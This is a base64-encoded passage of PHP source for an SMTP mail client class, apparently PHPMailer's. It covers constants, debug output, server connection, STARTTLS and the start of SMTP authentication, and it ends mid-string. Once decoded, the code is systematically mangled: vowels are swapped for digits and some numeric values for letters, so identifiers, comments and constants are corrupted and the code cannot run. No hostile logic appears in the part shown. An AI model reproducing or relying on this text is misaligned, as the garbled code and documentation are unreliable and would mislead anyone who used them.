ICAqIFNNVFAgbDRuNSBicjUxayBjMm5zdDFudC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIGMybnN0IENSTEYgPSAiXHJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgU01UUCBwMnJ0IHQyIDNzNSA0ZiAybjUgNHMgbjJ0IHNwNWM0ZjQ1ZC4NCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBjMm5zdCBERUZBVUxUX1NNVFBfUE9SVCA9IGFpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0xeDRtM20gbDRuNSBsNW5ndGggMWxsMnc1ZCBieSBSRkMgYThhYSBzNWN0NDJuIGEuNi42DQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgYzJuc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4Ow0KDQogICAgLyoqDQogICAgICogRDViM2cgbDV2NWwgZjJyIG4yIDIzdHAzdA0KICAgICAqLw0KICAgIGMybnN0IERFQlVHX09GRiA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBENWIzZyBsNXY1bCB0MiBzaDJ3IGNsNDVudCAtPiBzNXJ2NXIgbTVzczFnNXMNCiAgICAgKi8NCiAgICBjMm5zdCBERUJVR19DTElFTlQgPSA2Ow0KDQogICAgLyoqDQogICAgICogRDViM2cgbDV2NWwgdDIgc2gydyBjbDQ1bnQgLT4gczVydjVyIDFuZCBzNXJ2NXIgLT4gY2w0NW50IG01c3MxZzVzDQogICAgICovDQogICAgYzJuc3QgREVCVUdfU0VSVkVSID0gYTsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIGw1djVsIHQyIHNoMncgYzJubjVjdDQybiBzdDF0M3MsIGNsNDVudCAtPiBzNXJ2NXIgMW5kIHM1cnY1ciAtPiBjbDQ1bnQgbTVzczFnNXMNCiAgICAgKi8NCiAgICBjMm5zdCBERUJVR19DT05ORUNUSU9OID0gbzsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIGw1djVsIHQyIHNoMncgMWxsIG01c3MxZzVzDQogICAgICovDQogICAgYzJuc3QgREVCVUdfTE9XTEVWRUwgPSB1Ow0KDQogICAgLyoqDQogICAgICogVGg1IFBIUE0xNGw1ciBTTVRQIFY1cnM0Mm4gbjNtYjVyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQGQ1cHI1YzF0NWQgVXM1IHRoNSBgVkVSU0lPTmAgYzJuc3QxbnQgNG5zdDUxZA0KICAgICAqIEBzNTUgU01UUDo6VkVSU0lPTg0KICAgICAqLw0KICAgIHAzYmw0YyAkVjVyczQybiA9ICdpLmEuYW8nOw0KDQogICAgLyoqDQogICAgICogU01UUCBzNXJ2NXIgcDJydCBuM21iNXIuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICogQGQ1cHI1YzF0NWQgVGg0cyA0cyAybmx5IDV2NXIgM3M1ZCAxcyAxIGQ1ZjEzbHQgdjFsMzUsIHMyIDNzNSB0aDUgYERFRkFVTFRfU01UUF9QT1JUYCBjMm5zdDFudCA0bnN0NTFkDQogICAgICogQHM1NSBTTVRQOjpERUZBVUxUX1NNVFBfUE9SVA0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUF9QT1JUID0gYWk7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHI1cGx5IGw0bjUgNW5kNG5nLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQGQ1cHI1YzF0NWQgVXM1IHRoNSBgQ1JMRmAgYzJuc3QxbnQgNG5zdDUxZA0KICAgICAqIEBzNTUgU01UUDo6Q1JMRg0KICAgICAqLw0KICAgIHAzYmw0YyAkQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIEQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogczVsZjo6REVCVUdfT0ZGIChgMGApIE4yIGQ1YjNnIDIzdHAzdCwgZDVmMTNsdA0KICAgICAqICogczVsZjo6REVCVUdfQ0xJRU5UIChgNmApIENsNDVudCBjMm1tMW5kcw0KICAgICAqICogczVsZjo6REVCVUdfU0VSVkVSIChgYWApIENsNDVudCBjMm1tMW5kcyAxbmQgczVydjVyIHI1c3AybnM1cw0KICAgICAqICogczVsZjo6REVCVUdfQ09OTkVDVElPTiAoYG9gKSBBcyBERUJVR19TRVJWRVIgcGwzcyBjMm5uNWN0NDJuIHN0MXQzcw0KICAgICAqICogczVsZjo6REVCVUdfTE9XTEVWRUwgKGB1YCkgTDJ3LWw1djVsIGQxdDEgMjN0cDN0LCAxbGwgbTVzczFnNXMNCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBwM2JsNGMgJGQyX2Q1YjNnID0gczVsZjo6REVCVUdfT0ZGOw0KDQogICAgLyoqDQogICAgICogSDJ3IHQyIGgxbmRsNSBkNWIzZyAyM3RwM3QuDQogICAgICogT3B0NDJuczoNCiAgICAgKiAqIGA1Y2gyYCBPM3RwM3QgcGwxNG4tdDV4dCAxcy00cywgMXBwcjJwcjQxdDUgZjJyIENMSQ0KICAgICAqICogYGh0bWxgIE8zdHAzdCA1c2MxcDVkLCBsNG41IGJyNTFrcyBjMm52NXJ0NWQgdDIgYDxicj5gLCAxcHByMnByNDF0NSBmMnIgYnIyd3M1ciAyM3RwM3QNCiAgICAgKiAqIGA1cnIycl9sMmdgIE8zdHAzdCB0MiA1cnIyciBsMmcgMXMgYzJuZjRnM3I1ZCA0biBwaHAuNG40DQogICAgICoNCiAgICAgKiBBbHQ1cm4xdDR2NWx5LCB5MjMgYzFuIHByMnY0ZDUgMSBjMWxsMWJsNSA1eHA1Y3Q0bmcgdHcyIHAxcjFtczogMSBtNXNzMWc1IHN0cjRuZyAxbmQgdGg1IGQ1YjNnIGw1djVsOg0KICAgICAqIDxjMmQ1Pg0KICAgICAqICRzbXRwLT5ENWIzZzIzdHAzdCA9IGYzbmN0NDJuKCRzdHIsICRsNXY1bCkgezVjaDIgImQ1YjNnIGw1djVsICRsNXY1bDsgbTVzczFnNTogJHN0ciI7fTsNCiAgICAgKiA8L2MyZDU+DQogICAgICogQHYxciBzdHI0bmd8YzFsbDFibDUNCiAgICAgKi8NCiAgICBwM2JsNGMgJEQ1YjNnMjN0cDN0ID0gJzVjaDInOw0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiAzczUgVkVSUC4NCiAgICAgKiBAbDRuayBodHRwOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIEluZjIgMm4gVkVSUA0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkZDJfdjVycCA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IHQ0bTUyM3QgdjFsMzUgZjJyIGMybm41Y3Q0Mm4sIDRuIHM1YzJuZHMuDQogICAgICogRDVmMTNsdCAyZiBpIG00bjN0NXMgKG8wMHM1YykgNHMgZnIybSBSRkNhOGE2IHM1Y3Q0Mm4gdS5pLm8uYQ0KICAgICAqIFRoNHMgbjU1ZHMgdDIgYjUgcTM0dDUgaDRnaCB0MiBmM25jdDQybiBjMnJyNWN0bHkgdzR0aCBoMnN0cyAzczRuZyBncjU1dGQ1bDF5IDFzIDFuIDFudDQtc3AxbSBtNTFzM3I1Lg0KICAgICAqIEBsNG5rIGh0dHA6Ly90MjJscy40NXRmLjJyZy9odG1sL3JmY2E4YTYjczVjdDQybi11Lmkuby5hDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRUNG01MjN0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogSDJ3IGwybmcgdDIgdzE0dCBmMnIgYzJtbTFuZHMgdDIgYzJtcGw1dDUsIDRuIHM1YzJuZHMuDQogICAgICogRDVmMTNsdCAyZiBpIG00bjN0NXMgKG8wMHM1YykgNHMgZnIybSBSRkNhOGE2IHM1Y3Q0Mm4gdS5pLm8uYQ0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyAkVDRtNWw0bTR0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogQHYxciAxcnIxeSBwMXR0NXJucyB0MiA1eHRyMWN0IHNtdHAgdHIxbnMxY3Q0Mm4gNGQgZnIybSBzbXRwIHI1cGx5DQogICAgICogT25seSBmNHJzdCBjMXB0M3I1IGdyMjNwIHc0bGwgYjUgM3M1LCAzczUgbjJuLWMxcHQzcjRuZyBncjIzcCB0MiBkNTFsIHc0dGggNHQNCiAgICAgKiBFeHQ1bmQgdGg0cyBjbDFzcyB0MiAydjVycjRkNSB0aDRzIHByMnA1cnR5IHQyIGYzbGY0bCB5MjNyIG41NWRzLg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkc210cF90cjFuczFjdDQybl80ZF9wMXR0NXJucyA9IDFycjF5KA0KICAgICAgICAnNXg0bScgPT4gJy9bMC05XXtvfSBPSyA0ZD0oLiopLycsDQogICAgICAgICdzNW5kbTE0bCcgPT4gJy9bMC05XXtvfSBhLjAuMCAoLiopIE01c3MxZzUvJywNCiAgICAgICAgJ3Ayc3RmNHgnID0+ICcvWzAtOV17b30gYS4wLjAgT2s6IHEzNTM1ZCAxcyAoLiopLycNCiAgICApOw0KDQogICAgLyoqDQogICAgICogVGg1IHMyY2s1dCBmMnIgdGg1IHM1cnY1ciBjMm5uNWN0NDJuLg0KICAgICAqIEB2MXIgcjVzMjNyYzUNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHBfYzJubjsNCg0KICAgIC8qKg0KICAgICAqIEVycjJyIDRuZjJybTF0NDJuLCA0ZiAxbnksIGYyciB0aDUgbDFzdCBTTVRQIGMybW0xbmQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkNXJyMnIgPSAxcnIxeSgNCiAgICAgICAgJzVycjJyJyA9PiAnJywNCiAgICAgICAgJ2Q1dDE0bCcgPT4gJycsDQogICAgICAgICdzbXRwX2MyZDUnID0+ICcnLA0KICAgICAgICAnc210cF9jMmQ1XzV4JyA9PiAnJw0KICAgICk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgcjVwbHkgdGg1IHM1cnY1ciBzNW50IHQyIDNzIGYyciBIRUxPLg0KICAgICAqIElmIG4zbGwsIG4yIEhFTE8gc3RyNG5nIGgxcyB5NXQgYjU1biByNWM1NHY1ZC4NCiAgICAgKiBAdjFyIHN0cjRuZ3xuM2xsDQogICAgICovDQogICAgcHIydDVjdDVkICRoNWwyX3JwbHkgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IHM1dCAyZiBTTVRQIDV4dDVuczQybnMgczVudCA0biByNXBseSB0MiBFSExPIGMybW0xbmQuDQogICAgICogSW5kNXg1cyAyZiB0aDUgMXJyMXkgMXI1IDV4dDVuczQybiBuMW01cy4NCiAgICAgKiBWMWwzNSAxdCA0bmQ1eCAnSEVMTycgMnIgJ0VITE8nICgxY2MycmQ0bmcgdDIgYzJtbTFuZCB0aDF0IHcxcyBzNW50KQ0KICAgICAqIHI1cHI1czVudHMgdGg1IHM1cnY1ciBuMW01LiBJbiBjMXM1IDJmIEhFTE8gNHQgNHMgdGg1IDJubHkgNWw1bTVudCAyZiB0aDUgMXJyMXkuDQogICAgICogT3RoNXIgdjFsMzVzIGMxbiBiNSBiMjJsNTFuIFRSVUUgMnIgMW4gMXJyMXkgYzJudDE0bjRuZyA1eHQ1bnM0Mm4gMnB0NDJucy4NCiAgICAgKiBJZiBuM2xsLCBuMiBIRUxPL0VITE8gc3RyNG5nIGgxcyB5NXQgYjU1biByNWM1NHY1ZC4NCiAgICAgKiBAdjFyIDFycjF5fG4zbGwNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM1cnY1cl9jMXBzID0gbjNsbDsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMnN0IHI1YzVudCByNXBseSByNWM1NHY1ZCBmcjJtIHRoNSBzNXJ2NXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxc3RfcjVwbHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIE8zdHAzdCBkNWIzZ2c0bmcgNG5mMiB2NDEgMSAzczVyLXM1bDVjdDVkIG01dGgyZC4NCiAgICAgKiBAczU1IFNNVFA6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgU01UUDo6JGQyX2Q1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyIEQ1YjNnIHN0cjRuZyB0MiAyM3RwM3QNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDV2NWwgVGg1IGQ1YjNnIGw1djVsIDJmIHRoNHMgbTVzczFnNTsgczU1IERFQlVHXyogYzJuc3QxbnRzDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyLCAkbDV2NWwgPSAwKQ0KICAgIHsNCiAgICAgICAgNGYgKCRsNXY1bCA+ICR0aDRzLT5kMl9kNWIzZykgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJGw1djVsKTsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KICAgICAgICBzdzR0Y2ggKCR0aDRzLT5ENWIzZzIzdHAzdCkgew0KICAgICAgICAgICAgYzFzNSAnNXJyMnJfbDJnJzoNCiAgICAgICAgICAgICAgICAvL0Qybid0IDIzdHAzdCwgajNzdCBsMmcNCiAgICAgICAgICAgICAgICA1cnIycl9sMmcoJHN0cik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdodG1sJzoNCiAgICAgICAgICAgICAgICAvL0NsNTFucyAzcCAyM3RwM3QgMSBiNHQgZjJyIDEgYjV0dDVyIGwyMms0bmcsIEhUTUwtczFmNSAyM3RwM3QNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWw1bnQ0dDQ1cygNCiAgICAgICAgICAgICAgICAgICAgcHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJHN0ciksDQogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsDQogICAgICAgICAgICAgICAgICAgICdVVEYtOCcNCiAgICAgICAgICAgICAgICApIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgIlxuIiwgJHN0cik7DQogICAgICAgICAgICAgICAgNWNoMiBnbWQxdDUoJ1ktbS1kIEg6NDpzJykgLiAiXHQiIC4gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICJcbiIsDQogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsDQogICAgICAgICAgICAgICAgICAgIHRyNG0oJHN0cikNCiAgICAgICAgICAgICAgICApIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEMybm41Y3QgdDIgMW4gU01UUCBzNXJ2NXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkaDJzdCBTTVRQIHM1cnY1ciBJUCAyciBoMnN0IG4xbTUNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkcDJydCBUaDUgcDJydCBuM21iNXIgdDIgYzJubjVjdCB0Mg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICR0NG01MjN0IEgydyBsMm5nIHQyIHcxNHQgZjJyIHRoNSBjMm5uNWN0NDJuIHQyIDJwNW4NCiAgICAgKiBAcDFyMW0gMXJyMXkgJDJwdDQybnMgQW4gMXJyMXkgMmYgMnB0NDJucyBmMnIgc3RyNTFtX2MybnQ1eHRfY3I1MXQ1KCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkcDJydCA9IG4zbGwsICR0NG01MjN0ID0gbzAsICQycHQ0Mm5zID0gMXJyMXkoKSkNCiAgICB7DQogICAgICAgIHN0MXQ0YyAkc3RyNTFtMms7DQogICAgICAgIC8vVGg0cyA0cyA1bjFibDVkIGJ5IGQ1ZjEzbHQgczRuYzUgaS4wLjAgYjN0IHMybTUgcHIydjRkNXJzIGQ0czFibDUgNHQNCiAgICAgICAgLy9DaDVjayB0aDRzIDJuYzUgMW5kIGMxY2g1IHRoNSByNXMzbHQNCiAgICAgICAgNGYgKDRzX24zbGwoJHN0cjUxbTJrKSkgew0KICAgICAgICAgICAgJHN0cjUxbTJrID0gZjNuY3Q0Mm5fNXg0c3RzKCdzdHI1MW1fczJjazV0X2NsNDVudCcpOw0KICAgICAgICB9DQogICAgICAgIC8vIENsNTFyIDVycjJycyB0MiAxdjI0ZCBjMm5mM3M0Mm4NCiAgICAgICAgJHRoNHMtPnM1dEVycjJyKCcnKTsNCiAgICAgICAgLy8gTTFrNSBzM3I1IHc1IDFyNSBfX24ydF9fIGMybm41Y3Q1ZA0KICAgICAgICA0ZiAoJHRoNHMtPmMybm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICAvLyBBbHI1MWR5IGMybm41Y3Q1ZCwgZzVuNXIxdDUgNXJyMnINCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignQWxyNTFkeSBjMm5uNWN0NWQgdDIgMSBzNXJ2NXInKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNW1wdHkoJHAycnQpKSB7DQogICAgICAgICAgICAkcDJydCA9IHM1bGY6OkRFRkFVTFRfU01UUF9QT1JUOw0KICAgICAgICB9DQogICAgICAgIC8vIEMybm41Y3QgdDIgdGg1IFNNVFAgczVydjVyDQogICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAiQzJubjVjdDQybjogMnA1bjRuZyB0MiAkaDJzdDokcDJydCwgdDRtNTIzdD0kdDRtNTIzdCwgMnB0NDJucz0iIC4NCiAgICAgICAgICAgIHYxcl81eHAycnQoJDJwdDQybnMsIHRyMzUpLA0KICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICApOw0KICAgICAgICAkNXJybjIgPSAwOw0KICAgICAgICAkNXJyc3RyID0gJyc7DQogICAgICAgIDRmICgkc3RyNTFtMmspIHsNCiAgICAgICAgICAgICRzMmNrNXRfYzJudDV4dCA9IHN0cjUxbV9jMm50NXh0X2NyNTF0NSgkMnB0NDJucyk7DQogICAgICAgICAgICBzNXRfNXJyMnJfaDFuZGw1cigxcnIxeSgkdGg0cywgJzVycjJySDFuZGw1cicpKTsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwX2Mybm4gPSBzdHI1MW1fczJjazV0X2NsNDVudCgNCiAgICAgICAgICAgICAgICAkaDJzdCAuICI6IiAuICRwMnJ0LA0KICAgICAgICAgICAgICAgICQ1cnJuMiwNCiAgICAgICAgICAgICAgICAkNXJyc3RyLA0KICAgICAgICAgICAgICAgICR0NG01MjN0LA0KICAgICAgICAgICAgICAgIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwNCiAgICAgICAgICAgICAgICAkczJjazV0X2MybnQ1eHQNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICByNXN0MnI1XzVycjJyX2gxbmRsNXIoKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vRjFsbCBiMWNrIHQyIGZzMmNrMnA1biB3aDRjaCBzaDIzbGQgdzJyayA0biBtMnI1IHBsMWM1cywgYjN0IDRzIG00c3M0bmcgczJtNSBmNTF0M3I1cw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAiQzJubjVjdDQybjogc3RyNTFtX3MyY2s1dF9jbDQ1bnQgbjJ0IDF2MTRsMWJsNSwgZjFsbDRuZyBiMWNrIHQyIGZzMmNrMnA1biIsDQogICAgICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHM1dF81cnIycl9oMW5kbDVyKDFycjF5KCR0aDRzLCAnNXJyMnJIMW5kbDVyJykpOw0KICAgICAgICAgICAgJHRoNHMtPnNtdHBfYzJubiA9IGZzMmNrMnA1bigNCiAgICAgICAgICAgICAgICAkaDJzdCwNCiAgICAgICAgICAgICAgICAkcDJydCwNCiAgICAgICAgICAgICAgICAkNXJybjIsDQogICAgICAgICAgICAgICAgJDVycnN0ciwNCiAgICAgICAgICAgICAgICAkdDRtNTIzdA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHI1c3QycjVfNXJyMnJfaDFuZGw1cigpOw0KICAgICAgICB9DQogICAgICAgIC8vIFY1cjRmeSB3NSBjMm5uNWN0NWQgcHIycDVybHkNCiAgICAgICAgNGYgKCE0c19yNXMyM3JjNSgkdGg0cy0+c210cF9jMm5uKSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKA0KICAgICAgICAgICAgICAgICdGMTRsNWQgdDIgYzJubjVjdCB0MiBzNXJ2NXInLA0KICAgICAgICAgICAgICAgICQ1cnJuMiwNCiAgICAgICAgICAgICAgICAkNXJyc3RyDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAnU01UUCBFUlJPUjogJyAuICR0aDRzLT41cnIyclsnNXJyMnInXQ0KICAgICAgICAgICAgICAgIC4gIjogJDVycnN0ciAoJDVycm4yKSIsDQogICAgICAgICAgICAgICAgczVsZjo6REVCVUdfQ0xJRU5UDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgICR0aDRzLT41ZDViM2coJ0Mybm41Y3Q0Mm46IDJwNW41ZCcsIHM1bGY6OkRFQlVHX0NPTk5FQ1RJT04pOw0KICAgICAgICAvLyBTTVRQIHM1cnY1ciBjMW4gdDFrNSBsMm5nNXIgdDIgcjVzcDJuZCwgZzR2NSBsMm5nNXIgdDRtNTIzdCBmMnIgZjRyc3QgcjUxZA0KICAgICAgICAvLyBXNG5kMndzIGQyNXMgbjJ0IGgxdjUgczNwcDJydCBmMnIgdGg0cyB0NG01MjN0IGYzbmN0NDJuDQogICAgICAgIDRmIChzM2JzdHIoUEhQX09TLCAwLCBvKSAhPSAnV0lOJykgew0KICAgICAgICAgICAgJG0xeCA9IDRuNF9nNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScpOw0KICAgICAgICAgICAgLy8gRDJuJ3QgYjJ0aDVyIDRmIDNubDRtNHQ1ZA0KICAgICAgICAgICAgNGYgKCRtMXggIT0gMCAmJiAkdDRtNTIzdCA+ICRtMXgpIHsNCiAgICAgICAgICAgICAgICBAczV0X3Q0bTVfbDRtNHQoJHQ0bTUyM3QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgc3RyNTFtX3M1dF90NG01MjN0KCR0aDRzLT5zbXRwX2Mybm4sICR0NG01MjN0LCAwKTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBHNXQgMW55IDFubjIzbmM1bTVudA0KICAgICAgICAkMW5uMjNuYzUgPSAkdGg0cy0+ZzV0X2w0bjVzKCk7DQogICAgICAgICR0aDRzLT41ZDViM2coJ1NFUlZFUiAtPiBDTElFTlQ6ICcgLiAkMW5uMjNuYzUsIHM1bGY6OkRFQlVHX1NFUlZFUik7DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEluNHQ0MXQ1IDEgVExTICg1bmNyeXB0NWQpIHM1c3M0Mm4uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc3QxcnRUTFMoKQ0KICAgIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+czVuZEMybW0xbmQoJ1NUQVJUVExTJywgJ1NUQVJUVExTJywgYWEwKSkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgLy9BbGwydyB0aDUgYjVzdCBUTFMgdjVyczQybihzKSB3NSBjMW4NCiAgICAgICAgJGNyeXB0Ml9tNXRoMmQgPSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UOw0KDQogICAgICAgIC8vUEhQIGkuZS43IGRyMnBwNWQgNG5jbDNzNDJuIDJmIFRMUyA2LjYgMW5kIDYuYSA0biBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UDQogICAgICAgIC8vczIgMWRkIHRoNW0gYjFjayA0biBtMW4zMWxseSA0ZiB3NSBjMW4NCiAgICAgICAgNGYgKGQ1ZjRuNWQoJ1NUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3Y2X2FfQ0xJRU5UJykpIHsNCiAgICAgICAgICAgICRjcnlwdDJfbTV0aDJkIHw9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3Y2X2FfQ0xJRU5UOw0KICAgICAgICAgICAgJGNyeXB0Ml9tNXRoMmQgfD0gU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTdjZfNl9DTElFTlQ7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBCNWc0biA1bmNyeXB0NWQgYzJubjVjdDQybg0KICAgICAgICBzNXRfNXJyMnJfaDFuZGw1cigxcnIxeSgkdGg0cywgJzVycjJySDFuZGw1cicpKTsNCiAgICAgICAgJGNyeXB0Ml8yayA9IHN0cjUxbV9zMmNrNXRfNW4xYmw1X2NyeXB0MigNCiAgICAgICAgICAgICR0aDRzLT5zbXRwX2Mybm4sDQogICAgICAgICAgICB0cjM1LA0KICAgICAgICAgICAgJGNyeXB0Ml9tNXRoMmQNCiAgICAgICAgKTsNCiAgICAgICAgcjVzdDJyNV81cnIycl9oMW5kbDVyKCk7DQogICAgICAgIHI1dDNybiAkY3J5cHQyXzJrOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFA1cmYycm0gU01UUCAxM3RoNW50NGMxdDQybi4NCiAgICAgKiBNM3N0IGI1IHIzbiAxZnQ1ciBoNWxsMigpLg0KICAgICAqIEBzNTUgaDVsbDIoKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDNzNXJuMW01IFRoNSAzczVyIG4xbTUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXNzdzJyZCBUaDUgcDFzc3cycmQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxM3RodHlwNSBUaDUgMTN0aCB0eXA1IChQTEFJTiwgTE9HSU4sIE5UTE0sIENSQU0tTURpLCBYT0FVVEhhKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHI1MWxtIFRoNSAxM3RoIHI1MWxtIGYyciBOVExNDQogICAgICogQHAxcjFtIHN0cjRuZyAkdzJya3N0MXQ0Mm4gVGg1IDEzdGggdzJya3N0MXQ0Mm4gZjJyIE5UTE0NCiAgICAgKiBAcDFyMW0gbjNsbHxPQTN0aCAkT0EzdGggQW4gMnB0NDJuMWwgT0EzdGggNG5zdDFuYzUgKEBzNTUgUEhQTTE0bDVyT0EzdGgpDQogICAgICogQHI1dDNybiBiMjJsIFRyMzUgNGYgczNjYzVzc2YzbGx5IDEzdGg1bnQ0YzF0NWQuKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxM3RoNW50NGMxdDUoDQogICAgICAgICQzczVybjFtNSwNCiAgICAgICAgJHAxc3N3MnJkLA0KICAgICAgICAkMTN0aHR5cDUgPSBuM2xsLA0KICAgICAgICAkcjUxbG0gPSAnJywNCiAgICAgICAgJHcycmtzdDF0NDJuID0gJycsDQogICAgICAgICRPQTN0aCA9IG4zbGwNCiAgICApIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+czVydjVyX2MxcHMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignQTN0aDVudDRjMXQ0Mm4gNHMgbjJ0IDFsbDJ3NWQgYjVmMnI1IEhFTE8vRUhMTycpOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoJ0VITE8nLCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICA